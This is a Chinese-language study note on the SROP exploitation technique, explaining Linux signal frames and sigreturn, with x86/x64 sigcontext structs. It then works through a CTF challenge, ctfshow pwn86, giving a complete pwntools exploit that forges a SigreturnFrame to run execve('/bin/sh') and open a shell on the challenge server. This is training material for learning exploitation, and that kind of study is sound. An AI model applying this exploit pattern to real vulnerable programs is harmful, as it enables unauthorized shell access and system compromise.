介绍 SROP 是一种高级的漏洞利用技术,它通过篡改内核存储在用户空间栈上的信号上下文(Signal Context) ,并主动调用一个特殊系统调用 sigreturn()
,来让内核无条件地将这片被篡改的上下文恢复到CPU的所有寄存器中,从而实现一种“全能”的攻击效果。
SROP - CTF Wiki 上解释的很清楚,这里我就从这写自己学习的过程,几乎是照搬。
signal 机制
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址 。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
signal Frame x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate ; unsigned long oldmask; unsigned long cr2; };
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st [8]; struct _xmmreg _xmm [16]; __uint32_t padding[24 ]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate ; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8 ]; };
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。
攻击原理 signal Frame是可读可写的,所以我们可以改动signal Frame来构造恶意的ROP,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。
system call chains 需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可。
控制栈指针。
把原来 rip 指向的syscall
gadget 换成syscall; ret
gadget。
如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。
需要满足的条件
可以通过栈溢出来控制栈的内容
需要知道相应的地址
“/bin/sh”
Signal Frame
syscall
sigreturn
例题 ctfshow pwn86 1 2 3 4 5 6 7 8 9 10 11 int __fastcall main(int argc, const char **argv, const char **envp) { signed __int64 v3; // rax signed __int64 v4; // rax v3 = sys_write(1u, global_pwn, 0x17uLL); if ( (unsigned __int64)sys_read(0, global_buf, 0x200uLL) >= 0xF8 ) __asm { syscall; LINUX - sys_rt_sigreturn } v4 = sys_exit(0); return 0; }
sys_read(0, global_buf, 0x200uLL)就是读入的栈帧(signal frame)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) def main (): elf = ELF('./pwn' ) p = remote("pwn.challenge.ctf.show" , "28236" ) BIN_SH_OFFSET = 0x100 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = elf.sym['global_buf' ] + BIN_SH_OFFSET frame.rsi = 0 frame.rdx = 0 frame.rip = elf.sym['syscall' ] log.info("构造的信号返回帧:" ) log.info(f"RAX = {frame.rax} (SYS_execve)" ) log.info(f"RDI = {hex (frame.rdi)} (global_buf + {BIN_SH_OFFSET} )" ) log.info(f"RIP = {hex (frame.rip)} (syscall)" ) payload = bytes (frame) padding = b'A' * (BIN_SH_OFFSET - len (payload)) bin_sh = b'/bin/sh\x00' full_payload = payload + padding + bin_sh log.info(f"载荷长度: {len (full_payload)} 字节" ) log.info(f"帧数据: {len (payload)} 字节" ) log.info(f"填充数据: {len (padding)} 字节" ) log.info(f"字符串数据: {len (bin_sh)} 字节" ) p.send(full_payload) p.interactive() if __name__ == "__main__" : main()